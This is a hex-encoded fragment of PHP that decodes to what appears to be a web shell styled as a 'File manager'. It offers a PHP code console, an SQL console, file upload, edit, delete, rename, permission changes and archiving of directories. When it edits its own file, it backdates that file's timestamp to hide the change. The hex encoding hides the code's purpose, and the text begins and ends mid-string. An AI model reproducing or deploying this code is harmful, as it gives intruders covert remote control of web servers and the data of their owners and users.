c65206d616e6167657227292e273a20272e5f5f2827526573746f72652066696c652074696d652061667465722065646974696e6727292c27666d5f726573746f72655f74696d6527292e270d0a3c74723e3c746420636c6173733d22726f7733223e3c6120687265663d22272e666d5f75726c28292e273f666d5f73657474696e67733d7472756526666d5f636f6e6669675f64656c6574653d74727565223e272e5f5f282752657365742073657474696e677327292e273c2f613e3c2f74643e3c746420636c6173733d22726f7733223e3c696e70757420747970653d227375626d6974222076616c75653d22272e5f5f28275361766527292e2722206e616d653d22666d5f636f6e6669675b666d5f7365745f7375626d69745d223e3c2f74643e3c2f74723e0d0a3c2f666f726d3e0d0a3c2f7461626c653e0d0a3c7461626c653e0d0a3c666f726d206d6574686f643d22706f73742220616374696f6e3d22223e0d0a3c74723e3c746820636f6c7370616e3d2232223e272e5f5f282753657474696e677327292e27202d20272e5f5f2827417574686f72697a6174696f6e27292e273c2f74683e3c2f74723e0d0a3c74723e3c746420636c6173733d22726f7731223e3c696e707574206e616d653d22666d5f6c6f67696e5b617574686f72697a655d222076616c75653d22312220272e2824617574685b27617574686f72697a65275d3f27636865636b6564273a2727292e2720747970653d22636865636b626f78222069643d2261757468223e3c2f74643e3c746420636c6173733d22726f77322077686f6c65223e3c6c6162656c20666f723d2261757468223e272e5f5f2827417574686f72697a6174696f6e27292e273c2f6c6162656c3e3c2f74643e3c2f74723e0d0a3c74723e3c746420636c6173733d22726f7731223e3c696e707574206e616d653d22666d5f6c6f67696e5b6c6f67696e5d222076616c75653d22272e24617574685b276c6f67696e275d2e272220747970653d2274657874223e3c2f74643e3c746420636c6173733d22726f77322077686f6c65223e272e5f5f28274c6f67696e27292e273c2f74643e3c2f74723e0d0a3c74723e3c746420636c6173733d22726f7731223e3c696e707574206e616d653d22666d5f6c6f67696e5b70617373776f72645d222076616c75653d22272e24617574685b2770617373776f7264275d2e272220747970653d2274657874223e3c2f74643e3c746420636c6173733d22726f77322077686f6c65223e272e5f5f282750617373776f726427292e273c2f74643e3c2f74723e0d0a3c74723e3c746420636c6173733d22726f7731223e3c696e707574206e616d653d22666d5f6c6f67696e5b636f6f6b69655f6e616d655d222076616c75653d22272e24617574685b27636f6f6b69655f6e616d65275d2e272220747970653d2274657874223e3c2f74643e3c746420636c6173733d22726f77322077686f6c65223e272e5f5f2827436f6f6b696527292e273c2f74643e3c2f74723e0d0a3c74723e3c746420636c6173733d22726f7731223e3c696e707574206e616d653d22666d5f6c6f67696e5b646179735f617574686f72697a6174696f6e5d222076616c75653d22272e24617574685b27646179735f617574686f72697a6174696f6e275d2e272220747970653d2274657874223e3c2f74643e3c746420636c6173733d22726f77322077686f6c65223e272e5f5f28274461797327292e273c2f74643e3c2f74723e0d0a3c74723e3c746420636c6173733d22726f7731223e3c7465787461726561206e616d653d22666d5f6c6f67696e5b7363726970745d2220636f6c733d2233352220726f77733d22372220636c6173733d2274657874617265615f696e707574222069643d22617574685f736372697074223e272e24617574685b27736372697074275d2e273c2f74657874617265613e3c2f74643e3c746420636c6173733d22726f77322077686f6c65223e272e5f5f282753637269707427292e273c2f74643e3c2f74723e0d0a3c74723e3c746420636f6c7370616e3d22322220636c6173733d22726f7733223e3c696e70757420747970653d227375626d6974222076616c75653d22272e5f5f28275361766527292e2722203e3c2f74643e3c2f74723e0d0a3c2f666f726d3e0d0a3c2f7461626c653e273b0d0a6563686f20666d5f74706c5f666f726d282770687027292c666d5f74706c5f666f726d282773716c27293b0d0a7d20656c7365696620286973736574282470726f78795f666f726d2929207b0d0a09646965282470726f78795f666f726d293b0d0a7d20656c736569662028697373657428247265735f6c6e672929207b090d0a3f3e0d0a3c7461626c6520636c6173733d2277686f6c65223e0d0a3c74723e0d0a202020203c74683e3c3f3d5f5f282746696c65206d616e6167657227292e27202d20272e24706174683f3e3c2f74683e0d0a3c2f74723e0d0a3c74723e0d0a202020203c746420636c6173733d22726f7732223e3c7461626c653e3c74723e3c74643e3c68323e3c3f3d737472746f757070657228247265735f6c6e67293f3e203c3f3d5f5f2827436f6e736f6c6527293f3e3c3f7068700d0a09696628247265735f6c6e673d3d2773716c2729206563686f2027202d2044617461626173653a20272e24666d5f636f6e6669675b2773716c5f6462275d2e273c2f68323e3c2f74643e3c74643e272e666d5f72756e5f696e707574282770687027293b0d0a09656c7365206563686f20273c2f68323e3c2f74643e3c74643e272e666d5f72756e5f696e707574282773716c27293b0d0a093f3e3c2f74643e3c2f74723e3c2f7461626c653e3c2f74643e0d0a3c2f74723e0d0a3c74723e0d0a202020203c746420636c6173733d22726f7731223e0d0a09093c6120687265663d223c3f3d2475726c5f696e632e2726706174683d27202e2024706174683b3f3e223e3c3f3d5f5f28274261636b27293f3e3c2f613e0d0a09093c666f726d20616374696f6e3d2222206d6574686f643d22504f535422206e616d653d22636f6e736f6c65223e0d0a09093c7465787461726561206e616d653d223c3f3d247265735f6c6e673f3e2220636f6c733d2238302220726f77733d22313022207374796c653d2277696474683a20393025223e3c3f3d247265733f3e3c2f74657874617265613e3c62722f3e0d0a09093c696e70757420747970653d227265736574222076616c75653d223c3f3d5f5f2827526573657427293f3e223e0d0a09093c696e70757420747970653d227375626d6974222076616c75653d223c3f3d5f5f28275375626d697427293f3e22206e616d653d223c3f3d247265735f6c6e673f3e72756e223e0d0a3c3f7068700d0a247374725f746d706c203d20247265735f6c6e672e275f74656d706c61746573273b0d0a24746d706c203d2021656d7074792824247374725f746d706c29203f206a736f6e5f6465636f64652824247374725f746d706c2c7472756529203a2027273b0d0a6966202821656d7074792824746d706c29297b0d0a0924616374697665203d20697373657428245f504f53545b247265735f6c6e672e275f74706c275d29203f20245f504f53545b247265735f6c6e672e275f74706c275d203a2027273b0d0a092473656c656374203d20273c73656c656374206e616d653d22272e247265735f6c6e672e275f74706c22207469746c653d22272e5f5f282754656d706c61746527292e2722206f6e6368616e67653d2269662028746869732e76616c7565213d2d312920646f63756d656e742e666f726d735b5c27636f6e736f6c655c275d2e656c656d656e74735b5c27272e247265735f6c6e672e275c275d2e76616c7565203d20746869732e6f7074696f6e735b73656c6563746564496e6465785d2e76616c75653b20656c736520646f63756d656e742e666f726d735b5c27636f6e736f6c655c275d2e656c656d656e74735b5c27272e247265735f6c6e672e275c275d2e76616c7565203d5c275c273b22203e272e225c6e223b0d0a092473656c656374202e3d20273c6f7074696f6e2076616c75653d222d31223e27202e205f5f282753656c6563742729202e20223c2f6f7074696f6e3e5c6e223b0d0a09666f7265616368202824746d706c20617320246b65793d3e2476616c7565297b0d0a09092473656c6563742e3d273c6f7074696f6e2076616c75653d22272e2476616c75652e272220272e282821656d707479282476616c7565292626282476616c75653d3d2461637469766529293f2773656c6563746564273a2727292e27203e272e5f5f28246b6579292e223c2f6f7074696f6e3e5c6e223b0d0a097d0d0a092473656c656374202e3d20223c2f73656c6563743e5c6e223b0d0a096563686f202473656c6563743b0d0a7d0d0a3f3e0d0a09093c2f666f726d3e0d0a093c2f74643e0d0a3c2f74723e0d0a3c2f7461626c653e0d0a3c3f7068700d0a096966202821656d70747928247265732929207b0d0a09092466756e3d27666d5f272e247265735f6c6e673b0d0a09096563686f20273c68333e272e737472746f757070657228247265735f6c6e67292e2720272e5f5f2827526573756c7427292e273c2f68333e3c7072653e272e2466756e2824726573292e273c2f7072653e273b0d0a097d0d0a7d20656c73656966202821656d70747928245f524551554553545b2765646974275d29297b0d0a0969662821656d70747928245f524551554553545b2773617665275d2929207b0d0a090924666e203d202470617468202e20245f524551554553545b2765646974275d3b0d0a09092466696c656d74696d65203d2066696c656d74696d652824666e293b0d0a09202020206966202866696c655f7075745f636f6e74656e74732824666e2c20245f524551554553545b276e6577636f6e74656e74275d292920246d7367202e3d205f5f282746696c65207570646174656427293b0d0a0909656c736520246d7367202e3d205f5f28274572726f72206f6363757272656427293b0d0a090969662028245f4745545b2765646974275d3d3d626173656e616d65285f5f46494c455f5f2929207b0d0a090909746f756368285f5f46494c455f5f2c31343135313136333731293b0d0a09097d20656c7365207b0d0a0909096966202821656d7074792824666d5f636f6e6669675b27726573746f72655f74696d65275d292920746f7563682824666e2c2466696c656d74696d65293b0d0a09097d0d0a097d0d0a20202020246f6c64636f6e74656e74203d204066696c655f6765745f636f6e74656e7473282470617468202e20245f524551554553545b2765646974275d293b0d0a2020202024656469746c696e6b203d202475726c5f696e63202e202726656469743d27202e20245f524551554553545b2765646974275d202e202726706174683d27202e2024706174683b0d0a20202020246261636b6c696e6b203d202475726c5f696e63202e202726706174683d27202e2024706174683b0d0a3f3e0d0a3c7461626c6520626f726465723d2730272063656c6c73706163696e673d2730272063656c6c70616464696e673d2731272077696474683d2231303025223e0d0a3c74723e0d0a202020203c74683e3c3f3d5f5f282746696c65206d616e6167657227292e27202d20272e5f5f28274564697427292e27202d20272e24706174682e245f524551554553545b2765646974275d3f3e3c2f74683e0d0a3c2f74723e0d0a3c74723e0d0a202020203c746420636c6173733d22726f7731223e0d0a20202020202020203c3f3d246d73673f3e0d0a093c2f74643e0d0a3c2f74723e0d0a3c74723e0d0a202020203c746420636c6173733d22726f7731223e0d0a20202020202020203c3f3d666d5f686f6d6528293f3e203c6120687265663d223c3f3d246261636b6c696e6b3f3e223e3c3f3d5f5f28274261636b27293f3e3c2f613e0d0a093c2f74643e0d0a3c2f74723e0d0a3c74723e0d0a202020203c746420636c6173733d22726f77312220616c69676e3d2263656e746572223e0d0a20202020202020203c666f726d206e616d653d22666f726d3122206d6574686f643d22706f73742220616374696f6e3d223c3f3d24656469746c696e6b3f3e223e0d0a2020202020202020202020203c7465787461726561206e616d653d226e6577636f6e74656e74222069643d226e6577636f6e74656e742220636f6c733d2234352220726f77733d22313522207374796c653d2277696474683a39392522207370656c6c636865636b3d2266616c7365223e3c3f3d68746d6c7370656369616c636861727328246f6c64636f6e74656e74293f3e3c2f74657874617265613e0d0a2020202020202020202020203c696e70757420747970653d227375626d697422206e616d653d2273617665222076616c75653d223c3f3d5f5f28275375626d697427293f3e223e0d0a2020202020202020202020203c696e70757420747970653d227375626d697422206e616d653d2263616e63656c222076616c75653d223c3f3d5f5f282743616e63656c27293f3e223e0d0a20202020202020203c2f666f726d3e0d0a202020203c2f74643e0d0a3c2f74723e0d0a3c2f7461626c653e0d0a3c3f7068700d0a6563686f2024617574685b27736372697074275d3b0d0a7d20656c736569662821656d70747928245f524551554553545b27726967687473275d29297b0d0a0969662821656d70747928245f524551554553545b2773617665275d2929207b0d0a0920202020696628666d5f63686d6f64282470617468202e20245f524551554553545b27726967687473275d2c20666d5f636f6e766572745f72696768747328245f524551554553545b277269676874735f76616c275d292c2040245f524551554553545b277265637572736976656c79275d29290d0a0909246d7367202e3d20285f5f282746696c6520757064617465642729293b200d0a0909656c736520246d7367202e3d20285f5f28274572726f72206f636375727265642729293b0d0a097d0d0a09636c65617273746174636163686528293b0d0a20202020246f6c64726967687473203d20666d5f7269676874735f737472696e67282470617468202e20245f524551554553545b27726967687473275d2c2074727565293b0d0a20202020246c696e6b203d202475726c5f696e63202e2027267269676874733d27202e20245f524551554553545b27726967687473275d202e202726706174683d27202e2024706174683b0d0a20202020246261636b6c696e6b203d202475726c5f696e63202e202726706174683d27202e2024706174683b0d0a3f3e0d0a3c7461626c6520636c6173733d2277686f6c65223e0d0a3c74723e0d0a202020203c74683e3c3f3d5f5f282746696c65206d616e6167657227292e27202d20272e24706174683f3e3c2f74683e0d0a3c2f74723e0d0a3c74723e0d0a202020203c746420636c6173733d22726f7731223e0d0a20202020202020203c3f3d246d73673f3e0d0a093c2f74643e0d0a3c2f74723e0d0a3c74723e0d0a202020203c746420636c6173733d22726f7731223e0d0a20202020202020203c6120687265663d223c3f3d246261636b6c696e6b3f3e223e3c3f3d5f5f28274261636b27293f3e3c2f613e0d0a093c2f74643e0d0a3c2f74723e0d0a3c74723e0d0a202020203c746420636c6173733d22726f77312220616c69676e3d2263656e746572223e0d0a20202020202020203c666f726d206e616d653d22666f726d3122206d6574686f643d22706f73742220616374696f6e3d223c3f3d246c696e6b3f3e223e0d0a20202020202020202020203c3f3d5f5f282752696768747327292e27202d20272e245f524551554553545b27726967687473275d3f3e203c696e70757420747970653d227465787422206e616d653d227269676874735f76616c222076616c75653d223c3f3d246f6c647269676874733f3e223e0d0a20202020202020203c3f706870206966202869735f6469722824706174682e245f524551554553545b27726967687473275d2929207b203f3e0d0a2020202020202020202020203c696e70757420747970653d22636865636b626f7822206e616d653d227265637572736976656c79222076616c75653d2231223e203c3f3d5f5f28275265637572736976656c7927293f3e3c62722f3e0d0a20202020202020203c3f706870207d203f3e0d0a2020202020202020202020203c696e70757420747970653d227375626d697422206e616d653d2273617665222076616c75653d223c3f3d5f5f28275375626d697427293f3e223e0d0a20202020202020203c2f666f726d3e0d0a202020203c2f74643e0d0a3c2f74723e0d0a3c2f7461626c653e0d0a3c3f7068700d0a7d20656c73656966202821656d70747928245f524551554553545b2772656e616d65275d292626245f524551554553545b2772656e616d65275d3c3e272e2729207b0d0a0969662821656d70747928245f524551554553545b2773617665275d2929207b0d0a092020202072656e616d65282470617468202e20245f524551554553545b2772656e616d65275d2c202470617468202e20245f524551554553545b276e65776e616d65275d293b0d0a0909246d7367202e3d20285f5f282746696c6520757064617465642729293b0d0a0909245f524551554553545b2772656e616d65275d203d20245f524551554553545b276e65776e616d65275d3b0d0a097d0d0a09636c65617273746174636163686528293b0d0a20202020246c696e6b203d202475726c5f696e63202e20272672656e616d653d27202e20245f524551554553545b2772656e616d65275d202e202726706174683d27202e2024706174683b0d0a20202020246261636b6c696e6b203d202475726c5f696e63202e202726706174683d27202e2024706174683b0d0a0d0a3f3e0d0a3c7461626c6520636c6173733d2277686f6c65223e0d0a3c74723e0d0a202020203c74683e3c3f3d5f5f282746696c65206d616e6167657227292e27202d20272e24706174683f3e3c2f74683e0d0a3c2f74723e0d0a3c74723e0d0a202020203c746420636c6173733d22726f7731223e0d0a20202020202020203c3f3d246d73673f3e0d0a093c2f74643e0d0a3c2f74723e0d0a3c74723e0d0a202020203c746420636c6173733d22726f7731223e0d0a20202020202020203c6120687265663d223c3f3d246261636b6c696e6b3f3e223e3c3f3d5f5f28274261636b27293f3e3c2f613e0d0a093c2f74643e0d0a3c2f74723e0d0a3c74723e0d0a202020203c746420636c6173733d22726f77312220616c69676e3d2263656e746572223e0d0a20202020202020203c666f726d206e616d653d22666f726d3122206d6574686f643d22706f73742220616374696f6e3d223c3f3d246c696e6b3f3e223e0d0a2020202020202020202020203c3f3d5f5f282752656e616d6527293f3e3a203c696e70757420747970653d227465787422206e616d653d226e65776e616d65222076616c75653d223c3f3d245f524551554553545b2772656e616d65275d3f3e223e3c62722f3e0d0a2020202020202020202020203c696e70757420747970653d227375626d697422206e616d653d2273617665222076616c75653d223c3f3d5f5f28275375626d697427293f3e223e0d0a20202020202020203c2f666f726d3e0d0a202020203c2f74643e0d0a3c2f74723e0d0a3c2f7461626c653e0d0a3c3f7068700d0a7d20656c7365207b0d0a2f2f4c6574277320726f636b210d0a20202020246d7367203d2027273b0d0a2020202069662821656d70747928245f46494c45535b2775706c6f6164275d29262621656d7074792824666d5f636f6e6669675b2775706c6f61645f66696c65275d2929207b0d0a202020202020202069662821656d70747928245f46494c45535b2775706c6f6164275d5b276e616d65275d29297b0d0a202020202020202020202020245f46494c45535b2775706c6f6164275d5b276e616d65275d203d207374725f7265706c616365282725272c2027272c20245f46494c45535b2775706c6f6164275d5b276e616d65275d293b0d0a202020202020202020202020696628216d6f76655f75706c6f616465645f66696c6528245f46494c45535b2775706c6f6164275d5b27746d705f6e616d65275d2c202470617468202e20245f46494c45535b2775706c6f6164275d5b276e616d65275d29297b0d0a20202020202020202020202020202020246d7367202e3d205f5f28274572726f72206f6363757272656427293b0d0a2020202020202020202020207d20656c7365207b0d0a09090909246d7367202e3d205f5f282746696c65732075706c6f6164656427292e273a20272e245f46494c45535b2775706c6f6164275d5b276e616d65275d3b0d0a0909097d0d0a20202020202020207d0d0a202020207d20656c736569662821656d70747928245f524551554553545b2764656c657465275d292626245f524551554553545b2764656c657465275d3c3e272e2729207b0d0a202020202020202069662821666d5f64656c5f66696c657328282470617468202e20245f524551554553545b2764656c657465275d292c20747275652929207b0d0a202020202020202020202020246d7367202e3d205f5f28274572726f72206f6363757272656427293b0d0a20202020202020207d20656c7365207b0d0a090909246d7367202e3d205f5f282744656c6574656427292e2720272e245f524551554553545b2764656c657465275d3b0d0a09097d0d0a097d20656c736569662821656d70747928245f524551554553545b276d6b646972275d29262621656d7074792824666d5f636f6e6669675b276d616b655f6469726563746f7279275d2929207b0d0a202020202020202069662821406d6b646972282470617468202e20245f524551554553545b276469726e616d65275d2c303737372929207b0d0a202020202020202020202020246d7367202e3d205f5f28274572726f72206f6363757272656427293b0d0a20202020202020207d20656c7365207b0d0a090909246d7367202e3d205f5f28274372656174656427292e2720272e245f524551554553545b276469726e616d65275d3b0d0a09097d0d0a202020207d20656c736569662821656d70747928245f524551554553545b276d6b66696c65275d29262621656d7074792824666d5f636f6e6669675b276e65775f66696c65275d2929207b0d0a2020202020202020696628212466703d40666f70656e282470617468202e20245f524551554553545b2766696c656e616d65275d2c2277222929207b0d0a202020202020202020202020246d7367202e3d205f5f28274572726f72206f6363757272656427293b0d0a20202020202020207d20656c7365207b0d0a09090966636c6f736528246670293b0d0a090909246d7367202e3d205f5f28274372656174656427292e2720272e245f524551554553545b2766696c656e616d65275d3b0d0a09097d0d0a202020207d20656c736569662028697373657428245f4745545b277a6970275d2929207b0d0a090924736f75726365203d206261736536345f6465636f646528245f4745545b277a6970275d293b0d0a09092464657374696e6174696f6e203d20626173656e616d652824736f75726365292e272e7a6970273b0d0a09097365745f74696d655f6c696d69742830293b0d0a09092470686172203d206e6577205068617244617461282464657374696e6174696f6e293b0d0a090924706861722d3e6275696c6446726f6d4469726563746f72792824736f75726365293b0d0a09096966202869735f66696c65282464657374696e6174696f6e29290d0a0909246d7367202e3d205f5f28275461736b27292e272022272e5f5f2827417263686976696e6727292e2720272e2464657374696e6174696f6e2e272220272e5f5f2827646f6e6527292e0d0a0909272e266e6273703b272e666d5f6c696e6b2827646f776e6c6f6164272c24706174682e2464657374696e6174696f6e2c5f5f2827446f776e6c6f616427292c5f5f2827446f776e6c6f616427292e2720272e202464657374696e6174696f6e290d0a09092e27266e6273703b3c6120687265663d22272e2475726c5f696e632e272664656c6574653d272e2464657374696e6174696f6e2e2726706174683d27202e2024706174682e2722207469746c653d22272e5f5f282744656c65746527292e2720272e202464657374696e6174696f6e2e2722203e272e5f5f282744656c6574652729202e20273c2f613e273b0d0a0909656c736520246d7367202e3d205f5f28274572726f72206f6363757272656427292e273a20272e5f5f28276e6f2066696c657327293b0d0a097d20656c736569662028697373657428245f4745545b27677a275d2929207b0d0a090924736f75726365203d206261736536345f6465636f646528245f4745545b27677a275d293b0d0a09092461726368697665203d2024736f757263652e272e746172273b0d0a09092464657374696e6174696f6e203d20626173656e616d652824736f75726365292e272e746172273b0d0a09096966202869735f66696c65282461726368697665292920756e6c696e6b282461726368697665293b0d0a09096966202869735f66696c652824617263686976652e272e677a27292920756e6c696e6b2824617263686976652e272e677a27293b0d0a0909636c65617273746174636163686528293b0d0a09097365745f74696d655f6c696d69742830293b0d0a09092f2f64696528293b0d0a09092470686172203d206e6577205068617244617461282464657374696e6174696f6e293b0d0a090924706861722d3e6275696c6446726f6d4469726563746f72792824736f75726365293b0d0a090924706861722d3e636f6d707265737328506861723a3a475a2c272e7461722e677a27293b0d0a0909756e736574282470686172293b0d0a09096966202869735f66696c652824617263686976652929207b0d0a0909096966202869735f66696c652824617263686976652e272e677a272929207b0d0a09090909756e6c696e6b282461726368697665293b200d0a090909092464657374696e6174696f6e202e3d20272e677a273b0d0a0909097d0d0a0d0a090909246d7367202e3d205f5f28275461736b27292e272022272e5f5f2827417263686976696e6727292e2720272e2464657374696e6174696f6e2e272220272e5f5f2827646f6e6527292e0d0a090909272e266e6273703b272e666d5f6c696e6b2827646f776e6c6f6164272c24706174682e2464657374696e6174696f6e2c5f5f2827446f776e6c6f616427292c5f5f2827446f776e6c6f616427292e2720272e202464657374696e6174696f6e290d0a0909092e27266e6273703b3c6120687265663d22272e2475726c5f696e632e272664656c6574653d272e2464657374696e6174696f6e2e2726706174683d27202e2024706174682e2722207469746c653d22272e5f5f282744656c65746527292e2720272e2464657374696e6174696f6e2e2722203e272e5f5f282744656c65746527292e273c2f613e273b0d0a09097d20656c736520246d7367202e3d205f5f28274572726f72206f6363757272656427292e273a20272e5f5f28276e6f2066696c657327293b0d0a097d20656c736569662028697373657428245f4745545b276465636f6d7072657373275d2929207b0d0a09092f2f2024736f75726365203d206261736536345f6465636f646528245f4745545b276465636f6d7072657373275d293b0d0a09092f2f202464657374696e6174696f6e203d20626173656e616d652824736f75726365293b0d0a09092f2f2024657874203d20656e64286578706c6f646528222e222c202464657374696e6174696f6e29293b0d0a09092f2f2069662028246578743d3d277a697027204f5220246578743d3d27677a2729207b0d0a0909092f2f202470686172203d206e65772050686172446174612824736f75726365293b0d0a0909092f2f2024706861722d3e6465636f6d707265737328293b0d0a0909092f2f2024626173655f66696c65203d207374725f7265706c61636528272e272e246578742c27272c2464657374696e6174696f6e293b0d0a0909092f2f2024657874203d20656e64286578706c6f646528222e222c2024626173655f66696c6529293b0d0a0909092f2f2069662028246578743d3d2774617227297b0d0a090909092f2f202470686172203d206e65772050686172446174612824626173655f66696c65293b0d0a090909092f2f2024706861722d3e65787472616374546f286469722824736f7572636529293b0d0a0909092f2f207d0d0a09092f2f207d200d0a09092f2f20246d7367202e3d205f5f28275461736b27292e272022272e5f5f28274465636f6d707265737327292e2720272e24736f757263652e272220272e5f5f2827646f6e6527293b0d0a097d20656c736569662028697373657428245f4745545b27677a66696c65275d2929207b0d0a090924736f75726365203d206261736536345f6465636f646528245f4745545b27677a66696c65275d293b0d0a09092461726368697665203d2024736f757263652e272e746172273b0d0a09092464657374696e6174696f6e203d20626173656e616d652824736f75726365292e272e746172273b0d0a09096966202869735f66696c65282461726368697665292920756e6c696e6b282461726368697665293b0d0a09096966202869735f66696c652824617263686976652e272e677a27292920756e6c696e6b2824617263686976652e272e677a27293b0d0a09097365745f74696d655f6c696d69742830293b0d0a09092f2f6563686f202464657374696e6174696f6e3b0d0a0909246578745f617272203d206578706c6f646528272e272c626173656e616d652824736f7572636529293b0d0a090969662028697373657428246578745f6172725b315d2929207b0d0a090909756e73657428246578745f6172725b305d293b0d0a090909246578743d696d706c6f646528272e272c246578745f617272293b0d0a09097d200d0a09092470686172203d206e6577205068617244617461282464657374696e6174696f6e293b0d0a090924706861722d3e61646446696c652824736f75726365293b0d0a090924706861722d3e636f6d707265737328506861723a3a475a2c246578742e272e7461722e677a27293b0d0a0909756e736574282470686172293b0d0a09096966202869735f66696c652824617263686976652929207b0d0a0909096966202869735f66696c652824617263686976652e272e677a272929207b0d0a09090909756e6c696e6b282461726368697665293b200d0a090909092464657374696e6174696f6e202e3d20272e677a273b0d0a0909097d0d0a090909246d7367202e3d205f5f28275461736b27292e272022272e5f5f2827417263686976696e6727292e2720272e2464657374696e6174696f6e2e272220272e5f5f2827646f6e6527292e0d0a090909272e266e6273703b272e666d5f6c696e6b2827646f776e6c6f6164272c24706174682e2464657374696e6174696f6e2c5f5f2827446f776e6c6f616427292c5f5f2827446f776e6c6f616427292e2720272e202464657374696e6174696f6e290d0a0909092e27266e6273703b3c6120687265663d22272e2475726c5f696e632e272664656c6574653d272e2464657374696e6174696f6e2e2726706174683d27202e2024706174682e2722207469746c653d22272e5f5f282744656c65746527292e2720272e2464657374696e6174696f6e2e2722203e272e5f5f282744656c65746527292e273c2f613e273b0d0a09097d20656c736520246d7367202e3d205f5f28274572726f72206f6363757272656427292e273a20272e5f5f28276e6f2066696c657327293b0d0a097d0d0a3f3e0d0a3c7461626c6520636c6173733d2277686f6c65222069643d226865616465725f7461626c6522203e0d0a3c74723e0d0a202020203c746820636f6c7370616e3d2232223e3c3f3d5f5f282746696c65206d616e6167657227293f3e3c3f3d2821656d707479282470617468293f27202d20272e24706174683a2727293f3e3c2f74683e0d0a3c2f74723e0d0a3c3f7068702069662821656d70747928246d736729297b203f3e0d0a3c74723e0d0a093c746420636f6c7370616e3d22322220636c6173733d22726f7732223e3c3f3d246d73673f3e3c2f74643e0d0a3c2f74723e0d0a3c3f706870207d203f3e0d0a3c74723e0d0a202020203c746420636c6173733d22726f7732223e0d0a09093c7461626c653e0d0a0909093c74723e0d0a0909093c74643e0d0a090909093c3f3d666d5f686f6d6528293f3e0d0a0909093c2f74643e0d0a0909093c74643e0d0a0909093c3f7068702069662821656d7074792824666d5f636f6e6669675b276d616b655f6469726563746f7279275d2929207b203f3e0d0a090909093c666f726d206d6574686f643d22706f73742220616374696f6e3d223c3f3d2475726c5f696e633f3e223e0d0a090909093c696e70757420747970653d2268696464656e22206e616d653d2270617468222076616c75653d223c3f3d24706174683f3e22202f3e0d0a090909093c696e70757420747970653d227465787422206e616d653d226469726e616d65222073697a653d223135223e0d0a090909093c696e70757420747970653d227375626d697422206e616d653d226d6b646972222076616c75653d223c3f3d5f5f28274d616b65206469726563746f727927293f3e223e0d0a090909093c2f666f726d3e0d0a0909093c3f706870207d203f3e0d0a0909093c2f74643e0d0a0909093c74643e0d0a0909093c3f7068702069662821656d7074792824666d5f636f6e6669675b276e65775f66696c65275d2929207b203f3e0d0a090909093c666f726d206d6574686f643d22706f73742220616374696f6e3d223c3f3d2475726c5f696e633f3e223e0d0a090909093c696e70757420747970653d2268696464656e22206e616d653d2270617468222076616c75653d223c3f3d24706174683f3e22202f3e0d0a090909093c696e70757420747970653d227465787422206e616d653d2266696c656e616d65222073697a653d223135223e0d0a090909093c696e70757420747970653d227375626d697422206e616d653d226d6b66696c65222076616c75653d223c3f3d5f5f28274e65772066696c6527293f3e223e0d0a090909093c2f666f726d3e0d0a0909093c3f706870207d203f3e0d0a0909093c2f74643e0d0a0909093c74643e0d0a0909093c3f3d666d5f72756e5f696e707574282770687027293f3e0d0a0909093c2f74643e0d0a0909093c74643e0d0a0909093c3f3d666d5f72756e5f696e707574282773716c27293f3e0d0a0909093c2f74643e0d0a0909093c2f74723e0d0a09093c2f7461626c653e0d0a202020203c2f74643e0d0a202020203c746420636c6173733d22726f7733223e0d0a09093c7461626c653e0d0a09093c74723e0d0a09093c74643e0d0a09093c3f706870206966202821656d7074792824666d5f636f6e6669675b2775706c6f61645f66696c65275d2929207b203f3e0d0a0909093c666f726d206e616d653d22666f726d3122206d6574686f643d22706f73742220616374696f6e3d223c3f3d2475726c5f696e633f3e2220656e63747970653d226d756c7469706172742f666f726d2d64617461223e0d0a0909093c696e70757420747970653d2268696464656e22206e616d653d2270617468222076616c75653d223c3f3d24706174683f3e22202f3e0d0a0909093c696e70757420747970653d2266696c6522206e616d653d2275706c6f6164222069643d2275706c6f61645f68696464656e22207374796c653d22706f736974696f6e3a206162736f6c7574653b20646973706c61793a20626c6f636b3b206f766572666c6f773a2068696464656e3b2077696474683a20303b206865696768743a20303b20626f726465723a20303b2070616464696e673a20303b22206f6e6368616e67653d22646f63756d656e742e676574456c656d656e7442794964282775706c6f61645f76697369626c6527292e76616c7565203d20746869732e76616c75653b22202f3e0d0a0909093c696e70757420747970653d22746578742220726561646f6e6c793d2231222069643d2275706c6f61645f76697369626c652220706c616365686f6c6465723d223c3f3d5f5f282753656c656374207468652066696c6527293f3e22207374796c653d22637572736f723a20706f696e7465723b22206f6e636c69636b3d22646f63756d656e742e676574456c656d656e7442794964282775706c6f61645f68696464656e27292e636c69636b28293b22202f3e0d0a0909093c696e70757420747970653d227375626d697422206e616d653d2274657374222076616c75653d223c3f3d5f5f282755706c6f616427293f3e22202f3e0d0a0909093c2f666f726d3e0d0a09093c3f706870207d203f3e0d0a09093c2f74643e0d0a09093c74643e0d0a09093c3f706870206966202824617574685b27617574686f72697a65275d29207b203f3e0d0a0909093c666f726d20616374696f6e3d2222206d6574686f643d22706f7374223e266e6273703b266e6273703b266e6273703b0d0a0909093c696e707574206e616d653d22717569742220747970653d2268696464656e222076616c75653d2231223e0d0a0909093c3f3d5f5f282748656c6c6f27293f3e2c203c3f3d24617574685b276c6f67696e275d3f3e0d0a0909093c696e70757420747970653d227375626d6974222076616c75653d223c3f3d5f5f28275175697427293f3e223e0d0a0909093c2f666f726d3e0d0a09093c3f706870207d203f3e0d0a09093c2f74643e0d0a09093c74643e0d0a09093c3f3d666d5f6c616e675f666f726d28246c616e6775616765293f3e0d0a09093c2f74643e0d0a09093c74723e0d0a09093c2f7461626c653e0d0a202020203c2f74643e0d0a3c2f74723e0d0a3c2f7461626c653e0d0a3c7461626c6520636c6173733d22616c6c2220626f726465723d2730272063656c6c73706163696e673d2731272063656c6c70616464696e673d2731272069643d22666d5f7461626c65222077696474683d2231303025223e0d0a3c74686561643e0d0a3c74723e200d0a202020203c7468207374796c653d2277686974652d73706163653a6e6f77726170223e203c3f3d5f5f282746696c656e616d6527293f3e203c2f74683e0d0a202020203c7468207374796c653d2277686974652d73706163653a6e6f77726170223e203c3f3d5f5f282753697a6527293f3e203c2f74683e0d0a202020203c7468207374796c653d2277686974652d73706163653a6e6f77726170223e203c3f3d5f5f28274461746527293f3e203c2f74683e0d0a202020203c7468207374796c653d2277686974652d73706163653a6e6f77726170223e203c3f3d5f5f282752696768747327293f3e203c2f74683e0d0a202020203c746820636f6c7370616e3d223422207374796c653d2277686974652d73706163653a6e6f77726170223e203c3f3d5f5f28274d616e61676527293f3e203c2f74683e0d0a3c2f74723e0d0a3c2f74686561643e0d0a3c74626f64793e0d0a3c3f7068700d0a24656c656d656e7473203d20666d5f7363616e5f6469722824706174682c2027272c2027616c6c272c2074727565293b0d0a2464697273203d20617272617928293b0d0a2466696c6573203d20617272617928293b0d0a666f7265616368202824656c656d656e7473206173202466696c652